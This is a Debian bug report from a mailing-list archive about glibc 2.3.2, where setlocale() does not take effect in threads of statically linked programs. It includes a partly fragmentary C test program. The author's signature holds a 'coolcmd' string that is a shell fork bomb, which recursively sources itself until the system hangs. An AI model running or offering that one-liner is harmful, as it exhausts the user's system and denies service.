[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#260221: setlocale() kind-of not affecting threads when compile static

Hash: SHA1

Package: libc6
Version: 2.3.2.ds1-13
Severity: important

When posted to glibc-bugs jakub at redhat dot com said:
>It seems to be Debian specific (or using way too old glibc).
>The testcase prints 1024 in all 3 cases when linked dynamically or
>statically, linuxthreads or NPTL.

This is the bugreport:

isalpha(0xfc) returns 0 in a thread even though setlocale() set a locale where
it's supposed to return non-zero when compiled static. The bug does not exist
in glibc 2.2.5 (debian woody/stable 3.0).

It's supposed to return non-zero to all isalpha() calls.

When compiling non-static, it behaves as expected:
$ gcc -o loc loc.c -lpthread && ./loc
main isalpha(): 1024
thread current locale: sv_SE.ISO-8859-1
thread isalpha() pre-setlocale(): 1024
main isalpha(): 1024

When compiled static, it's buggy:

$ gcc -o loc loc.c -lpthread -static && ./loc
main isalpha(): 1024
thread current locale: sv_SE.ISO-8859-1
thread isalpha() pre-setlocale(): 0   <-------- zero? wtf?
main isalpha(): 1024

When the thread does a back-and-forth setlocale() before isalpha(), the code
works, see "if (0)" in the code.

I've tried compiling with gcc 2.95.4 with the same results. When I compiled on
debian woody box, the thing worked as expected. I've tried copying the binary
back and forth, and it's only the binary compiled statically on debian sarge
(libc 2.3.2) and run anywhere that has the problem.

Software versions:
- ---
debian sarge x86
libc6 2.3.2.ds1-13 (debian package)
linux 2.6.6

Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v
- --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr
- --mandir=/usr/share/man --infodir=/usr/share/info
- --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib
- --enable-nls --without-included-gettext --enable-__cxa_atexit
- --enable-clocale=gnu --enable-debug --enable-java-gc=boehm
- --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-2)

GNU ld version 20031029 Debian GNU/Linux

test program:

static char ch = '\xfc';

static void *thr(void *p)
  const char *locale = "sv_SE.iso88591";
  const char *locale2 = "sv_SE.ISO-8859-1";

  printf("thread current locale: %s\n", setlocale(LC_ALL, NULL));
  printf("thread isalpha() pre-setlocale(): %d\n", isalpha(ch));
  if (0) {
    assert(setlocale(LC_ALL, locale));
    printf("thread isalpha() after one setlocale(): %d\n", isalpha(ch));
    if (0) {
      assert(setlocale(LC_ALL, locale2));
      printf("thread isalpha() after two setlocale(): %d\n", isalpha(ch));

int main()
  const char *locale = "sv_SE.ISO-8859-1";
  pthread_t p;
  assert(setlocale(LC_ALL, locale));
  printf("main isalpha(): %d\n", isalpha(ch));
  pthread_create(&p, NULL, thr, NULL);
  printf("main isalpha(): %d\n", isalpha(ch));

- ---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.4" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
Version: GnuPG v1.2.4 (GNU/Linux)


Reply to: